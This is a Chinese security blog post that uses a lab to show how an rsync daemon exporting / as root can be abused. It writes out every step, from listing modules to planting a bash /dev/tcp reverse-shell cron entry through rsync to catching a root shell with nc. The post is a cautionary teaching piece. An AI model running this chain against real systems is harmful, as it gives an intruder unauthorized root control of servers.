rsync同步服务反弹shell
rsync服务/命令在企业中运用非常广泛,主要是轻量、便捷、高效。在数据同步中,不管是做服务还是命令使用,都非常方便、快速。
但是在日常运维中,往往会发现很多开发或者运维人员,一味的图简单,把一些老生常谈的安全注意事项抛之脑后,最终酿成大祸!
下面说说之前做服务器安全评估遇到的真事。某业务线的运维同事因为需要经常在多台服务器之间同步文件,而且是不同项目文件。为了偷懒,不想多写同步模块,所以他在编辑配置文件时,直接将/目录发布出去了。最后被我们研发中心扫描出来,季度绩效也因此评为C。
有小伙伴可能会疑惑,这会有什么风险呢?下面我在实验环境还原一下他当时的环境,以及可能会遇到的风险。
配置同步服务器(被攻击服务器)
代码语言:shell复制# 安装rsync:
[root@192-168-75-121 ~]# yum install rsync -y
# 编辑配置文件:
[root@192-168-75-121 ~]# cat /etc/rsyncd.conf
uid = root
gid = root
use chroot = yes
max connections = 4
pid file = /var/run/rsyncd.pid
exclude = lost found/
transfer logging = yes
timeout = 900
ignore nonreadable = yes
dont compress = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2
read only = false
[ftp]
# 这点是重点,要发布的同步目录
path = /
comment = ftp export area
# 启动rsyncd服务:
[root@192-168-75-121 ~]# systemctl start rsyncd
这个配置文件有两个危险指令,一个是uid和gid为root,他设置为root是为了同步文件方便,不需要考虑文件权限问题;二是开放根目录,这两个配置直接会导致后面的问题!
配置攻击服务器
rsync
服务器默认是监听873端口,通过nmap
工具可以很方便扫描到,这里不再演示。
# 查看同步服务器开放的同步模块,下面可以看到开放了`ftp`模块
[root@www.lutixia.cn ~]# rsync rsync://192.168.75.121
ftp ftp export area
# 具体看下ftp模块中提供了那些目录文件。下面可以看到整个根都发布出来了!
[root@www.lutixia.cn ~]# rsync rsync://192.168.75.121/ftp
dr-xr-xr-x 247 2022/08/16 16:45:37 .
lrwxrwxrwx 7 2021/10/13 14:00:20 bin
lrwxrwxrwx 7 2021/10/13 14:00:20 lib
lrwxrwxrwx 9 2021/10/13 14:00:20 lib64
lrwxrwxrwx 8 2021/10/13 14:00:20 sbin
dr-xr-xr-x 4,096 2021/10/13 14:05:43 boot
drwxr-xr-x 17 2022/08/16 16:45:37 data
drwxr-xr-x 3,300 2022/08/15 15:03:13 dev
drwxr-xr-x 8,192 2022/08/16 17:31:47 etc
drwxr-xr-x 18 2022/08/16 15:16:45 home
drwxr-xr-x 6 2018/04/11 12:59:55 media
drwxr-xr-x 6 2018/04/11 12:59:55 mnt
drwxr-xr-x 78 2022/08/15 15:38:54 opt
dr-xr-xr-x 0 2022/08/15 15:03:05 proc
dr-xr-x--- 233 2022/08/16 17:19:47 root
drwxr-xr-x 860 2022/08/16 17:31:47 run
drwxr-xr-x 6 2018/04/11 12:59:55 srv
dr-xr-xr-x 0 2022/08/15 15:03:10 sys
drwxrwxrwt 4,096 2022/08/16 17:36:21 tmp
drwxr-xr-x 155 2021/10/13 14:00:20 usr
drwxr-xr-x 267 2021/10/13 14:02:35 var
drwx------ 19 2022/08/16 14:28:46 www
配置反弹shell
反弹shell
在之前的文章中详细讲到过,这里不再赘述。因为rsync
同步服务器直接把根发布出来了,所以比之前通过redis
服务攻击更加简单了。只需创建一个**root
**的计划任务文件,然后同步过去即可。
# 创建root计划任务文件
[root@www.lutixia.cn ~]# cat > root <<EOF
* * * * * bash -i &>/dev/tcp/192.168.75.123/8888 0>&1
> EOF
# 同步到被攻击服务器,放置到计划任务目录:
[root@www.lutixia.cn ~]# rsync -av root rsync://192.168.75.121/ftp/var/spool/cron/
# 安装nc工具:
[root@www.lutixia.cn ~]# yum install nmap -y
# 设置监听端口,等待被攻击服务器连接即可:
[root@www.lutixia.cn ~]# nc -lvnp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 192.168.75.121.
Ncat: Connection from 192.168.75.121:36320.
bash: no job control in this shell
# 可以看到已经顺利拿到被攻击服务器的shell了!
[root@192-168-75-121 ~]# exit
没出事之前,觉得危险离自己很远,出事之后,才会发现危险就在身边。老生常谈的安全问题一定要注意,切不可一味的贪图简单,而放大文件、服务器的权限。